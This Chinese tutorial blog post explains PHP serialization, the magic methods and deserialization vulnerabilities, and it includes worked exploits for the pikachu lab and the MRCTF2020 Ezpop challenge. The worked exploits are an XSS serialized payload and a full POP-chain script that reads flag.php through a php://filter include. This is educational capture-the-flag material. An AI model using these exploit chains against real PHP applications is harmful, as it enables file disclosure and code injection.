前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >web安全 -- php反序列化漏洞

web安全 -- php反序列化漏洞

原创
作者头像
Gh0st1nTheShel
发布2022-01-24 10:19:05
7980
发布2022-01-24 10:19:05
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的公众号《壳中之魂》查看更多网安文章

序列化与反序列化

何为序列化

序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。

在PHP中序列化所用的函数为

serialize()

语法

string serialize ( mixed $value )

参数说明:

  • $value: 要序列化的对象或数组。

返回值

返回一个字符串。

实例

代码语言:javascript
复制
<?php
    class Test{
        public $name = "admin";
        public $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果为:

代码语言:javascript
复制
O:4:"Test":2:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";} 

序列化后的字符串组成格式

序列化后数据类型的表示

代码语言:javascript
复制
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

序列化过程中变量改变

private属性序列化的时候格式是 %00类名%00成员名 如testname (test->类名name->成员名)

protected属性序列化的时候格式是 %00*%00成员名 如*name (name->成员名)

即,当private/protected属性序列化时会添加两个不可见的字符%00

通过打印序列化后的字符串时两个%00已经丢失

实例

代码语言:javascript
复制
<?php
    class Test{
        private $name = "admin";
        protected $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果

代码语言:javascript
复制
O:4:"Test":2:{s:10:"Testname";s:5:"admin";s:11:"*password";s:5:"admin";} 

可以发现无论是Testname还是*password的长度,都比自身要长2,这个二就是两个%00

所以为了防止这种情况,输出的时候进行URL编码

代码语言:javascript
复制
echo urlencode(serialize($ser)); 

何为反序列化

反序列化即为序列化的逆过程,将字节流转换为对象的过程即为反序列化,通常是程序将内存、文件、数据库或者网络传递的字节流还原成对象

在PHP中反序列化所用到的函数为

unserialize()

语法

mixed unserialize ( string $str )

参数说明:

  • $str: 序列化后的字符串。

返回值

返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

实例

代码语言:javascript
复制
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出结果为:

代码语言:javascript
复制
Array
(
    [0] => Google
    [1] => Runoob
    [2] => Facebook
)

魔术方法

在利用反序列化漏洞时多会用到魔术方法,魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用

php中的魔术方法

参考文章:PHP: 魔术方法 - Manual

__construct

构建对象的时被调用,一般用于初始化对象,对变量赋初值;

__destruct

明确销毁对象或脚本结束时被调用;

__get

用于读取不可访问或不存在属性

__set

用于给不可访问或不存在属性赋值

__isset

对不可访问或不存在的属性调用isset()或empty()时被调用

__unset

对不可访问或不存在的属性进行unset()时被调用

__call

在对象上下文中调用不可访问或不存在的方法时被调用

__callStatic

在静态上下文中调用不可访问或不存在的静态方法时被调用

__sleep

使用serialize时自动被调用,当不需要保存大对象的所有数据时很有用

__wakeup

当使用unserialize()时自动被调用,可用于做些对象的初始化操作

当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

__clone

进行对象clone()时被调用,用来调整对象的克隆行为

__toString

当一个类被转换成字符串时被调用

__invoke

当以函数方式调用对象时被调用

__set_state

当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。

__debuginfo

当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本

__autoload()

尝试加载未定义的类

反序列化漏洞实例

以pikachu靶场为例

观看源代码:

代码语言:javascript
复制
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

发现__construct()函数,说明在创建对象时就会自动调用echo $this->test;

将以下类进行序列化

代码语言:javascript
复制
class S{
    var $test = "攻击语句,如()";
    function __construct(){
        echo $this->test;
    }
}

得到语句:

代码语言:javascript
复制
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} 

运行

POP链

从上面的介绍可以知道,反序列化的漏洞是以控制魔术方法为出发点,通过魔术方法来达到攻击的目的,但是很多时候很难直接通过魔术方法找到可以攻击的点,所以就需要寻找相同函数名将类的属性和敏感函数的属性联系起来,这就是POP链

直接看例子

实例

MRCTF2020Ezpop

这是一道代码审计题,进入网页后可以直接看到源码

代码语言:javascript
复制
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

首先查看输入点,在index.php的get方法传入的pop中

在查看每一个类对应的魔术方法是否可以利用

代码语言:javascript
复制
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

__invoke为把对象以函数方式调用时就会触发__invoke魔术方法,同时另一个普通方法append里面有一个include,也是可以利用的

Show函数中也有三个魔术方法,但是没有什么可以利用的点

再看Test

代码语言:javascript
复制
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

重点落在__get,return $function(),和之前的__invoke结合就是一个利用链,所以当前目标就变为了如何触发__get(),当访问一个不可访问或者不存在的成员变量就可以触发__get()

但是这两个类都没有可以直接利用的点,想利用__invoke就要先利用__get,然而__get需要访问不存在的的成员变量才可以触发,然而无论Test里面的哪个方法都没有访问到不存在的成员变量

这是再看一下Show类

在__toSteing方法可以看到return $this->str->source;,如果让str = Test(),那么就会访问Test->source,这时就会触发__get,然而触发__toString为把类转换为字符串,这在__wakeup中的if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source))实现,同时__wakeup在反序列化时会自动调用,所以我们要把$this->source设置为Show类的实例化对象

代码语言:javascript
复制
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
} 

所以pop链:

Show类(__construct)-->Show类(__wakeup)-->Show类(__toString)-->Test类(__get)-->Modifier类(__invoke)

首先先实例化show

代码语言:javascript
复制
$a = new Show(); 

然后再把Test的实例化对象赋值给a->str

代码语言:javascript
复制
$a->str = new Test(); 

为了触发__invoke所以要把Modifier的实例化对象赋值给a->str->p

代码语言:javascript
复制
$a->str->p = new Modifier(); 

最后要把a赋值给$this->source

代码语言:javascript
复制
$b = new Show($a); 

完整代码

代码语言:php
复制
<?php
    class Modifier {
        protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    }

    class Show{
        public $source;
        public $str;
        public function __construct($file){
            $this->source = $file;
        }
    }

    class Test{
        public $p;
    }

    $a = new Show();
    $a->str = new Test();
    $a->str->p = new Modifier();
    $b = new Show($a);
    
    echo urlencode(serialize($b));
?>

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 序列化与反序列化
    • 何为序列化
      • 何为反序列化
        • 魔术方法
          • 反序列化漏洞实例
          • POP链
          相关产品与服务
          文件存储
          文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档